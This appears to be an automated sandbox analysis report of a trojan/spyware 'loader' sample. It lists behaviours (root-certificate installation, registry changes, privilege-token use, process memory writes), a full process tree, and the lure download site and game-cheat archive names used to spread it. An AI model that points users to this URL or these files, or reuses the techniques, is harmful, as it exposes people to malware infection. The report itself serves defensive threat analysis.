defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys	loader_prod.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys\B101CE2392906B34B5FEBD7D212D96A2099021A3	loader_prod.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys\B101CE2392906B34B5FEBD7D212D96A2099021A3\Blob = 02000000000000006c0000001c000000000000000100000020000000000000000000000002000000390030003300660034006500320030002d0030003200340064002d0034003000620062002d0039006500310064002d003800350063006500620031006500310033003600620064000000000000000000230000000000000014000000b101ce2392906b34b5febd7d212d96a2099021a3	loader_prod.exe

NTFS ADS 11 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\7z2401.msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (1).msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\password_is_eulen.rar:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\GTA Aimbot 2025.rar:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\FiveM-TZ-Project-PVP-TOOL-main.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Skript.gg.rar:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (2).msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (3).msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (4).msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (5).msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\7z2401 (6).msi:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1472	msedge.exe
1472	msedge.exe
1188	Loader.exe
1188	Loader.exe
6028	powershell.exe
6028	powershell.exe
6028	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
5176	MSBuild.exe
4212	Loader.exe
4212	Loader.exe
3852	dialer.exe
3852	dialer.exe
3852	dialer.exe
3852	dialer.exe
5580	Loader.exe
5580	Loader.exe
800	dialer.exe
800	dialer.exe
800	dialer.exe
800	dialer.exe
5388	msiexec.exe
5388	msiexec.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2260	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	5424	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5424	AUDIODG.EXE
Token: SeDebugPrivilege	1188	Loader.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeImpersonatePrivilege	5176	MSBuild.exe
Token: SeImpersonatePrivilege	5176	MSBuild.exe
Token: SeRestorePrivilege	200	7zG.exe
Token: 35	200	7zG.exe
Token: SeSecurityPrivilege	200	7zG.exe
Token: SeSecurityPrivilege	200	7zG.exe
Token: SeShutdownPrivilege	3136	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3136	msiexec.exe
Token: SeSecurityPrivilege	5388	msiexec.exe
Token: SeCreateTokenPrivilege	3136	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3136	msiexec.exe
Token: SeLockMemoryPrivilege	3136	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3136	msiexec.exe
Token: SeMachineAccountPrivilege	3136	msiexec.exe
Token: SeTcbPrivilege	3136	msiexec.exe
Token: SeSecurityPrivilege	3136	msiexec.exe
Token: SeTakeOwnershipPrivilege	3136	msiexec.exe
Token: SeLoadDriverPrivilege	3136	msiexec.exe
Token: SeSystemProfilePrivilege	3136	msiexec.exe
Token: SeSystemtimePrivilege	3136	msiexec.exe
Token: SeProfSingleProcessPrivilege	3136	msiexec.exe
Token: SeIncBasePriorityPrivilege	3136	msiexec.exe
Token: SeCreatePagefilePrivilege	3136	msiexec.exe
Token: SeCreatePermanentPrivilege	3136	msiexec.exe
Token: SeBackupPrivilege	3136	msiexec.exe
Token: SeRestorePrivilege	3136	msiexec.exe
Token: SeShutdownPrivilege	3136	msiexec.exe
Token: SeDebugPrivilege	3136	msiexec.exe
Token: SeAuditPrivilege	3136	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3136	msiexec.exe
Token: SeChangeNotifyPrivilege	3136	msiexec.exe
Token: SeRemoteShutdownPrivilege	3136	msiexec.exe
Token: SeUndockPrivilege	3136	msiexec.exe
Token: SeSyncAgentPrivilege	3136	msiexec.exe
Token: SeEnableDelegationPrivilege	3136	msiexec.exe
Token: SeManageVolumePrivilege	3136	msiexec.exe
Token: SeImpersonatePrivilege	3136	msiexec.exe
Token: SeCreateGlobalPrivilege	3136	msiexec.exe
Token: SeBackupPrivilege	4984	vssvc.exe
Token: SeRestorePrivilege	4984	vssvc.exe
Token: SeAuditPrivilege	4984	vssvc.exe
Token: SeBackupPrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe
Token: SeBackupPrivilege	2904	srtasks.exe
Token: SeRestorePrivilege	2904	srtasks.exe
Token: SeSecurityPrivilege	2904	srtasks.exe
Token: SeTakeOwnershipPrivilege	2904	srtasks.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe
Token: SeRestorePrivilege	5388	msiexec.exe
Token: SeTakeOwnershipPrivilege	5388	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
200	7zG.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe
4420	msedge.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4296	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
2260	OpenWith.exe
3384	loader_prod.exe
3384	loader_prod.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 3532	3928	msedge.exe	78
PID 3928 wrote to memory of 3532	3928	msedge.exe	78
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 2916	3928	msedge.exe	79
PID 3928 wrote to memory of 5168	3928	msedge.exe	80
PID 3928 wrote to memory of 5168	3928	msedge.exe	80
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81
PID 3928 wrote to memory of 788	3928	msedge.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2560
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3852
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:800

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://bebetter-fivem.space/download
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x2e0,0x7ffa5717f208,0x7ffa5717f214,0x7ffa5717f220
  2⤵
  PID:3532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1944,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=1808 /prefetch:2
  2⤵
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2120,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:11
  2⤵
  PID:5168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2380,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:13
  2⤵
  PID:788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3428,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:3732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3436,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:4972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3420,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:14
  2⤵
  PID:3064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4864,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=4924 /prefetch:14
  2⤵
  PID:3188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5504,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:14
  2⤵
  PID:2484
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1140
    3⤵
    PID:1540
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5268,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
  2⤵
  PID:2896
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5268,i,6147050647353115839,7454761722593981908,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
  2⤵
  PID:5476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  PID:908

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2f4,0x7ffa5717f208,0x7ffa5717f214,0x7ffa5717f220
    3⤵
    PID:1408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1824,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:11
    3⤵
    PID:648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2256,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:2
    3⤵
    PID:1420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2580,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=2716 /prefetch:13
    3⤵
    PID:3232
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4316,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
    3⤵
    PID:3464
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4316,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
    3⤵
    PID:1580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4588,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:14
    3⤵
    PID:1472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=4868,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:1
    3⤵
    PID:5768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4876,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:1
    3⤵
    PID:3908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5444,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
    3⤵
    PID:1240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5416,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
    3⤵
    PID:2508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6048,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
    3⤵
    PID:1456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=6816,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:1
    3⤵
    PID:2196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=5980,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:1
    3⤵
    PID:1760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5464,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
    3⤵
    PID:2440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6484,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=568 /prefetch:14
    3⤵
    PID:4996
